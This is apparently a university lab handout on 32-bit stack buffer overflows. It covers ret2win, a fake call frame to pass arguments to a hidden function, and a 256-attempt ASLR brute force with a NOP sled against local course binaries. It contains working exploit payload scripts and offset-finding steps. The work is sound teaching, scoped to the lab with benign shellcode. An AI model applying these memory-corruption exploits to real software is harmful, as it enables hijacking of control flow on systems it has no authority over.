0. Scope and Setup
This lab is for the course-provided local environment. Do not run these techniques on any system, binary, or service outside this course lab.
~/ierg4851/week2/in-class-lab. If you do not know your lab-machine username or password, ask the TA or the instructor during class.cd ~/ierg4851/week2/in-class-lab find . -maxdepth 2 -type f | sort
You should see three directories:
| Directory | Goal | Difficulty |
|---|---|---|
ret2win | Overwrite the saved return address with a function address inside the binary. | Warm-up |
ret2win-args | Call a hidden function and place its arguments on the 32-bit stack. | Main lab |
aslr-bruteforce | Complete a bounded local retry script for a 32-bit executable-stack target. | Concept lab |
Practice Record Contents
For each lab, include the commands or GDB observations that support your answer and one or two sentences explaining why the step was needed. Do not paste long terminal logs.
- For each successful exploit, include the key addresses, offset, payload layout, and final success output.
- Include screenshots from your own GDB or terminal session as evidence for the important steps.
- For ASLR retry, include sampled stack addresses and whether your bounded run succeeded.
- For each question marked Thinking question, write a short answer in your own words.
1. Warm-up: 32-bit ret2win
The program contains a hidden function win(). Your task is to redirect control flow to it.
EBP + 4. In the shellcode demo, that address pointed into stack bytes. Here, it points to code already inside the binary: win().cd ~/ierg4851/week2/in-class-lab/ret2win make file challenge checksec --file=./challenge 2>/dev/null || true
Step 1: Inspect the Source
sed -n '1,120p' challenge.c
Find the vulnerable function. Notice that read() can write more bytes than buf can hold.
Why this step matters: before using tools, identify the trust boundary in the source: attacker-controlled input is copied into a fixed-size stack buffer.
Step 2: Find the Address of win()
nm challenge | grep ' win$' objdump -d challenge | grep -A8 '<win>:'
Why this step matters: ret2win does not inject new code. It reuses code already present in the program, so the payload needs the exact address of the target function.
Step 3: Find the Offset
Use GDB to compare the frame pointer with the buffer address:
gdb -q ./challenge (gdb) break vuln (gdb) run (gdb) p/x $ebp (gdb) p/x &buf (gdb) p/d $ebp + 4 - (int)&buf
Why this step matters: the offset tells you how many bytes fill the local buffer and saved frame data before the next four bytes overwrite the saved return address.
Step 4: Build the Payload
python3 - <<'PY' | ./challenge
import struct, sys
offset = 76
win = 0x08049196 # replace with your nm result
sys.stdout.buffer.write(b"A" * offset + struct.pack("<I", win))
PY
[+] Control-flow hijacked - you called win()! and the course flag.win() address, the final payload layout in the form "A" * offset + p32(win), the success output, one sentence explaining why little-endian packing is needed, and screenshots showing your GDB offset/address checks.Checkpoints
- You can explain why the saved return address is at
EBP + 4. - You can show the offset from
bufto the saved return address. - You can show the address of
win(). - The program prints the flag instead of
returned normally.
Common Mistakes
- If the program prints
returned normally, your input did not reach the saved return address. - If the program crashes, check the offset and little-endian packing.
- If your address starts with
0x, do not paste it as text into the payload; pack it as bytes.
Thinking Questions
- Why does this exploit still work even though the injected input bytes are not executed as code?
- If the binary were compiled as PIE, which value in your payload would become unstable?
- Why is the offset a property of the vulnerable stack frame rather than a property of
win()?
2. Main Lab: ret2win with Arguments
This lab keeps the ret2win idea but adds 32-bit function arguments. You must redirect execution to win(magic, cookie) and place both arguments where the callee expects them.
cd ~/ierg4851/week2/in-class-lab/ret2win-args make file challenge nm challenge | grep -E ' win$| safe_exit$'
Step 1: Inspect the Source
sed -n '1,160p' challenge.c
Find the required values for magic and cookie. Also note that main() never calls win().
Why this step matters: this lab has two conditions: control must reach win(), and the values read by win() must match the expected arguments.
Step 2: Find the Addresses
nm challenge | grep -E ' win$| safe_exit$' objdump -d challenge | grep -A12 '<win>:'
You need &win and a safe return address after win(). Use safe_exit() for that return address.
Why this step matters: a normal function call leaves a return address on the stack. Because your exploit enters win() with ret, you must provide that return address yourself.
Step 3: Find the Offset
gdb -q ./challenge (gdb) break vuln (gdb) run (gdb) p/x $ebp (gdb) p/x &buf (gdb) p/d $ebp + 4 - (int)&buf
Why this step matters: the control-flow part is still the same as ret2win. Only the stack words after the overwritten return address are new.
Step 4: Build the Fake Call Frame
On x86-32, arguments are passed on the stack. After the vulnerable function returns into win(), the stack should look like a normal call to win(magic, cookie):
padding &win &safe_exit magic cookie
When ret jumps to win, the CPU consumes &win as the new instruction pointer. The next word becomes win()'s return address, and the following words are read as the function arguments.
Why this step matters: this is the same mental model used by 32-bit ret2libc: target function address, post-call return address, and arguments placed where the callee expects them.
Step 5: Run the Payload
python3 - <<'PY' | ./challenge
import struct, sys
offset = 76
win = 0x080491c8 # replace with your nm result
safe_exit = 0x08049196 # replace with your nm result
magic = 0x4851cafe
cookie = 0xdeadbeef
payload = b"A" * offset
payload += struct.pack("<I", win)
payload += struct.pack("<I", safe_exit)
payload += struct.pack("<I", magic)
payload += struct.pack("<I", cookie)
sys.stdout.buffer.write(payload)
PY
[+] Control-flow hijacked with correct arguments! and the course flag.win() address, safe_exit() address, magic and cookie values, the fake call-frame layout, the success output, a short explanation of why the word after &win is not the first function argument, and screenshots showing your GDB/address checks.Checkpoints
- You can explain why the word after
&winis used aswin()'s return address. - You can explain why
magicandcookieappear after that return address. - You can identify the required argument values in
challenge.c. - You can distinguish this fake call frame from the simpler ret2win payload.
Common Mistakes
- If
win()says the arguments are wrong, your control-flow hijack worked but the fake call frame is misordered. - If the program crashes after reaching
win(), check the return address after&win. - If the flag never prints, confirm that
magicandcookieare packed as 32-bit little-endian integers.
Thinking Questions
- Why does the payload need
&safe_exiteven though the flag is printed insidewin()? - How is this fake call frame similar to, and different from, a basic ret2libc payload?
3. Concept Lab: Bounded 32-bit ASLR Retry
This lab shows why 32-bit stack ASLR can be weak for a local restartable program. The script has a hard cap of 256 attempts and the shellcode only prints a marker.
cd ~/ierg4851/week2/in-class-lab/aslr-bruteforce make file aslr-target readelf -W -l aslr-target | grep GNU_STACK
Step 1: Observe Stack Randomization
python3 brute_template.py --sample python3 brute_template.py --sample python3 brute_template.py --sample
The diagnostic buffer address should change across runs.
Why this step matters: ASLR is visible only if you compare multiple executions. A single address does not tell you whether the stack location is stable.
Step 2: Complete payload_for()
cp brute_template.py brute.py nano brute.py
Fill the function so it returns:
sled_size = OFFSET_TO_RETURN - len(SHELLCODE)
payload = b"\x90" * sled_size
payload += SHELLCODE
payload += struct.pack("<I", guess)
The body before the guessed return address must be exactly OFFSET_TO_RETURN bytes long.
The supplied shellcode only writes ASLR HIT and exits. It does not start a shell.
Why this step matters: the NOP sled increases tolerance for an approximate return address, but the saved return address still has to land somewhere inside the sled or shellcode region.
Step 3: Try a Bounded Run
python3 brute.py --sample python3 brute.py --guess 0xfff00000 --attempts 128
You may also use a sampled address as the starting guess:
python3 brute.py --guess 0xfff00000 --attempts 256
ASLR HIT.Why this step matters: repeated local runs demonstrate the weakness of small address spaces under restartable conditions. The attempt cap keeps the demonstration bounded and suitable for class.
ASLR HIT, a short explanation of why the result can be probabilistic even with a correct payload, and screenshots showing your sampling and bounded run.Checkpoints
- You can show at least three different sampled stack addresses.
- Your completed payload is exactly
OFFSET_TO_RETURN + 4bytes long. - You can explain why the shellcode is placed before the overwritten return address.
- You can explain why repeated local runs can sometimes overcome limited 32-bit randomization.
Common Mistakes
- Using big-endian packing instead of
struct.pack("<I", guess). - Putting the guessed return address before the shellcode instead of after the overflow body.
- Removing the 256-attempt cap. Keep the demonstration bounded.
- Assuming every sampled address will succeed. The result is probabilistic.
Thinking Questions
- Why does a NOP sled make an approximate guessed address more useful?
- Which mitigation in the lecture would stop this lab even if the guessed stack address were correct?
4. Practice Record Checklist
This checklist summarizes the expected contents of your practice record.
- For ret2win: vulnerable code location, offset,
win()address, payload layout, success output, and the reason for little-endian packing. - For ret2win-args: offset,
win()andsafe_exit()addresses, argument values, fake call-frame layout, success output, and why the fake return address comes before the arguments. - For ASLR retry: three sample addresses, chosen guess, attempt bound, result, and why the result is probabilistic.
- GDB or terminal screenshots that demonstrate your own process. A copied answer without supporting evidence does not meet the purpose of this practice.
- Short answers to the thinking questions. One or two sentences per question is enough.
Keep the record concise. The point is to show your evidence and reasoning, not to paste every failed attempt.
Optional Advanced Question
This is not part of the required in-class lab. If the vulnerable program were a 64-bit Linux binary, what would need to change in your approach? In your answer, consider register-based argument passing, the need for useful ROP gadgets such as pop rdi; ret, 8-byte addresses, stack alignment, and the much larger ASLR search space.